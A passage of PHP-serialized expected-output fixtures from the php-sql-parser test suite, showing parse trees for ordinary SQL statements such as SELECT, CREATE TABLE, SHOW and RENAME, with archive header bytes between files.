keyword_score";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:5:"MATCH";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:30:"SmTable.fulltextsearch_keyword";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:7:"SmTable";i:1;s:22:"fulltextsearch_keyword";}}s:8:"sub_tree";b:0;s:8:"position";i:45;}}s:8:"position";i:38;}i:1;a:5:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"AGAINST";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"AGAINST";}}s:8:"sub_tree";b:0;s:8:"position";i:77;}i:2;a:4:{s:9:"expr_type";s:15:"match-arguments";s:9:"base_expr";s:39:"('google googles' WITH QUERY EXPANSION)";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:16:"'google googles'";s:8:"sub_tree";b:0;s:8:"position";i:86;}i:1;a:4:{s:9:"expr_type";s:10:"match-mode";s:9:"base_expr";s:20:"WITH QUERY EXPANSION";s:8:"sub_tree";b:0;s:8:"position";i:103;}}s:8:"position";i:85;}}s:5:"delim";b:0;s:8:"position";i:38;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:7:"SmTable";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"SmTable";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:7:"SmTable";s:8:"sub_tree";b:0;s:8:"position";i:147;}}s:5:"WHERE";a:9:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:14:"SmTable.status";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:7:"SmTable";i:1;s:6:"status";}}s:8:"sub_tree";b:0;s:8:"position";i:161;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:176;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'A'";s:8:"sub_tree";b:0;s:8:"position";i:178;}i:3;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;s:8:"position";i:182;}i:4;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:50:"(SmTable.country_id = 1 AND SmTable.state_id = 10)";s:8:"sub_tree";a:7:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:18:"SmTable.country_id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:7:"SmTable";i:1;s:10:"country_id";}}s:8:"sub_tree";b:0;s:8:"position";i:187;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:206;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:8:"position";i:208;}i:3;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;s:8:"position";i:210;}i:4;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:16:"SmTable.state_id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:7:"SmTable";i:1;s:8:"state_id";}}s:8:"sub_tree";b:0;s:8:"position";i:214;}i:5;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:231;}i:6;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"10";s:8:"sub_tree";b:0;s:8:"position";i:233;}}s:8:"position";i:186;}i:5;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;s:8:"position";i:237;}i:6;a:4:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:5:"MATCH";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:30:"SmTable.fulltextsearch_keyword";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:7:"SmTable";i:1;s:22:"fulltextsearch_keyword";}}s:8:"sub_tree";b:0;s:8:"position";i:248;}}s:8:"position";i:241;}i:7;a:5:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"AGAINST";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"AGAINST";}}s:8:"sub_tree";b:0;s:8:"position";i:280;}i:8;a:4:{s:9:"expr_type";s:15:"match-arguments";s:9:"base_expr";s:18:"('google googles')";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:16:"'google googles'";s:8:"sub_tree";b:0;s:8:"position";i:289;}}s:8:"position";i:288;}}s:5:"ORDER";a:2:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:13:"SmTable.level";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:7:"SmTable";i:1;s:5:"level";}}s:8:"sub_tree";b:0;s:9:"direction";s:4:"DESC";s:8:"position";i:316;}i:1;a:5:{s:9:"expr_type";s:5:"alias";s:9:"base_expr";s:13:"keyword_score";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:13:"keyword_score";}}s:9:"direction";s:4:"DESC";s:8:"position";i:336;}}s:5:"LIMIT";a:2:{s:6:"offset";s:1:"0";s:8:"rowcount";s:2:"10";}}PK     \ϛN  N  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33j.serializednu [        a:2:{s:6:"CREATE";a:5:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:1;s:9:"base_expr";s:40:"TEMPORARY TABLE IF   NOT 
        EXISTS";s:8:"sub_tree";a:5:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"TEMPORARY";s:8:"position";i:7;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";s:8:"position";i:17;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"IF";s:8:"position";i:23;}i:3;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"NOT";s:8:"position";i:28;}i:4;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"EXISTS";s:8:"position";i:41;}}s:8:"position";i:7;}s:5:"TABLE";a:6:{s:9:"base_expr";s:5:"turma";s:4:"name";s:5:"turma";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"turma";}}s:10:"create-def";a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:114:"(id text NOT NULL ,
        nome text NOT NULL ,
        nota1 int NOT NULL ,
        nota2 int NOT NULL
        )";s:8:"sub_tree";a:4:{i:0;a:4:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:16:"id text NOT NULL";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}s:8:"position";i:54;}i:1;a:8:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:13:"text NOT NULL";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:4:"text";s:6:"binary";b:0;s:8:"position";i:57;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"NOT";s:8:"position";i:62;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"NULL";s:8:"position";i:66;}}s:6:"unique";b:0;s:8:"nullable";b:0;s:8:"auto_inc";b:0;s:7:"primary";b:0;s:8:"position";i:57;}}s:8:"position";i:54;}i:1;a:4:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:18:"nome text NOT NULL";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"nome";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"nome";}}s:8:"position";i:81;}i:1;a:8:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:13:"text NOT NULL";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:4:"text";s:6:"binary";b:0;s:8:"position";i:86;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"NOT";s:8:"position";i:91;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"NULL";s:8:"position";i:95;}}s:6:"unique";b:0;s:8:"nullable";b:0;s:8:"auto_inc";b:0;s:7:"primary";b:0;s:8:"position";i:86;}}s:8:"position";i:81;}i:2;a:4:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:18:"nota1 int NOT NULL";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"nota1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"nota1";}}s:8:"position";i:110;}i:1;a:8:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:12:"int NOT NULL";s:8:"sub_tree";a:3:{i:0;a:6:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:3:"int";s:8:"unsigned";b:0;s:8:"zerofill";b:0;s:6:"length";b:0;s:8:"position";i:116;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"NOT";s:8:"position";i:120;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"NULL";s:8:"position";i:124;}}s:6:"unique";b:0;s:8:"nullable";b:0;s:8:"auto_inc";b:0;s:7:"primary";b:0;s:8:"position";i:116;}}s:8:"position";i:110;}i:3;a:4:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:18:"nota2 int NOT NULL";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"nota2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"nota2";}}s:8:"position";i:139;}i:1;a:8:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:12:"int NOT NULL";s:8:"sub_tree";a:3:{i:0;a:6:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:3:"int";s:8:"unsigned";b:0;s:8:"zerofill";b:0;s:6:"length";b:0;s:8:"position";i:145;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"NOT";s:8:"position";i:149;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"NULL";s:8:"position";i:153;}}s:6:"unique";b:0;s:8:"nullable";b:0;s:8:"auto_inc";b:0;s:7:"primary";b:0;s:8:"position";i:145;}}s:8:"position";i:139;}}s:8:"position";i:53;}s:7:"options";b:0;s:8:"position";i:48;}}PK     \e    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue125.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:4:"t1.*";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t1";i:1;s:1:"*";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:2:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:2:"t1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t1";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:2:"t1";s:8:"sub_tree";b:0;}i:1;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:2:"t2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t2";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"LEFT";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:4:"left";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"t1.c1";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t1";i:1;s:2:"c1";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"6";s:8:"sub_tree";b:0;}}}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"t2.c2";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"t2";i:1;s:2:"c2";}}s:8:"sub_tree";b:0;}}s:9:"base_expr";s:27:"t2 on left(t1.c1,6) = t2.c2";s:8:"sub_tree";b:0;}}}PK     \E˜E  E  F  vendor/greenlion/php-sql-parser/tests/expected/parser/show7.serializednu [        a:1:{s:4:"SHOW";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"CREATE";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"SCHEMA";}i:2;a:4:{s:9:"expr_type";s:8:"database";s:4:"name";s:5:"`foo`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"foo";}}s:9:"base_expr";s:5:"`foo`";}}}PK     \nj    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue53b.serializednu [        a:5:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"table";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"table";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:5:"table";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}}s:5:"ORDER";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"c";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"c";}}s:8:"sub_tree";b:0;s:9:"direction";s:4:"DESC";}}s:5:"LIMIT";a:2:{s:6:"offset";s:0:"";s:8:"rowcount";s:2:"10";}}PK     \k    G  vendor/greenlion/php-sql-parser/tests/expected/parser/alias1.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:10:"expression";s:5:"alias";b:0;s:9:"base_expr";s:11:"colA * colB";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"colA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"colA";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"colB";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"colB";}}s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:1:"t";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"t";}}s:9:"base_expr";s:1:"t";}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:6:"test t";s:8:"sub_tree";b:0;}}}PK     \K:W    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue139.serializednu [        a:4:{s:6:"SELECT";a:3:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:7;}i:1;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"y";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"y";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:9;}i:2;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"z";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"z";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:11;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"tableA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"tableA";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:6:"tableA";s:8:"sub_tree";b:0;s:8:"position";i:18;}}s:5:"WHERE";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;s:8:"position";i:31;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"<";s:8:"sub_tree";b:0;s:8:"position";i:32;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"5";s:8:"sub_tree";b:0;s:8:"position";i:33;}}s:5:"LIMIT";a:2:{s:6:"offset";s:1:"0";s:8:"rowcount";s:1:"2";}}PK     \f;	  	  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue45.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:2:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:1:"b";s:8:"sub_tree";b:0;s:8:"position";i:14;}i:1;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"c";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"c";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"LEFT";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:5:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:3:"c.a";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"c";i:1;s:1:"a";}}s:8:"sub_tree";b:0;s:8:"position";i:31;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:35;}i:2;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:3:"b.a";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"b";i:1;s:1:"a";}}s:8:"sub_tree";b:0;s:8:"position";i:37;}i:3;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"and";s:8:"sub_tree";b:0;s:8:"position";i:41;}i:4;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:12:"(c.b. = b.b)";s:8:"sub_tree";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"c.b. ";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"c";i:1;s:1:"b";}}s:8:"sub_tree";b:0;s:8:"position";i:46;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:51;}i:2;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:3:"b.b";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"b";i:1;s:1:"b";}}s:8:"sub_tree";b:0;s:8:"position";i:53;}}s:8:"position";i:45;}}s:9:"base_expr";s:31:"c on c.a = b.a and (c.b. = b.b)";s:8:"sub_tree";b:0;s:8:"position";i:26;}}s:5:"WHERE";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:3:"a.a";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:1:"a";}}s:8:"sub_tree";b:0;s:8:"position";i:64;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:">";s:8:"sub_tree";b:0;s:8:"position";i:68;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:8:"position";i:70;}}}PK     \8Ĭ    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue148.serializednu [        a:1:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:8:"function";s:5:"alias";b:0;s:9:"base_expr";s:7:"REPLACE";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:3:"NOW";s:8:"sub_tree";b:0;s:8:"position";i:15;}i:1;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'-'";s:8:"sub_tree";b:0;s:8:"position";i:22;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"''";s:8:"sub_tree";b:0;s:8:"position";i:27;}}s:5:"delim";b:0;s:8:"position";i:7;}}}PK     \`Z  Z  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue87b.serializednu [        a:1:{s:6:"RENAME";a:2:{s:9:"expr_type";s:5:"table";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";s:8:"position";i:7;}i:1;a:2:{s:6:"source";a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:9:"base_expr";s:1:"a";s:8:"position";i:13;}s:11:"destination";a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:9:"base_expr";s:1:"b";s:8:"position";i:18;}}i:2;a:2:{s:6:"source";a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:3:"`c`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"c";}}s:9:"base_expr";s:3:"`c`";s:8:"position";i:21;}s:11:"destination";a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:3:"`a`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:9:"base_expr";s:3:"`a`";s:8:"position";i:28;}}i:3;a:2:{s:6:"source";a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:7:"foo.bar";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}}s:9:"base_expr";s:7:"foo.bar";s:8:"position";i:33;}s:11:"destination";a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:11:"hello.world";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:5:"hello";i:1;s:5:"world";}}s:9:"base_expr";s:11:"hello.world";s:8:"position";i:44;}}}}}PK     \|E  E  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue149.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:3:"tab";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"tab";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:3:"tab";s:8:"sub_tree";b:0;s:8:"position";i:14;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:6:"ifnull";s:8:"sub_tree";a:2:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:8:"col_name";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"col_name";}}s:8:"sub_tree";b:0;s:8:"position";i:31;}i:1;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"''";s:8:"sub_tree";b:0;s:8:"position";i:40;}}s:8:"position";i:24;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"<>";s:8:"sub_tree";b:0;s:8:"position";i:44;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"''";s:8:"sub_tree";b:0;s:8:"position";i:47;}}}PK     \u**!  !  F  vendor/greenlion/php-sql-parser/tests/expected/parser/show6.serializednu [        a:1:{s:4:"SHOW";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"SCHEMAS";s:8:"position";i:5;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"LIKE";s:8:"position";i:13;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:7:"'%bar%'";s:8:"position";i:18;}}}PK     \s    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33o.serializednu [        a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:6:{s:9:"base_expr";s:2:"ti";s:4:"name";s:2:"ti";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"ti";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:44:" (id INT, amount DECIMAL(7,2), tr_date DATE)";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:6:"id INT";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:3:"INT";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:3:"INT";s:8:"unsigned";b:0;s:8:"zerofill";b:0;s:6:"length";b:0;}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:1;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:19:"amount 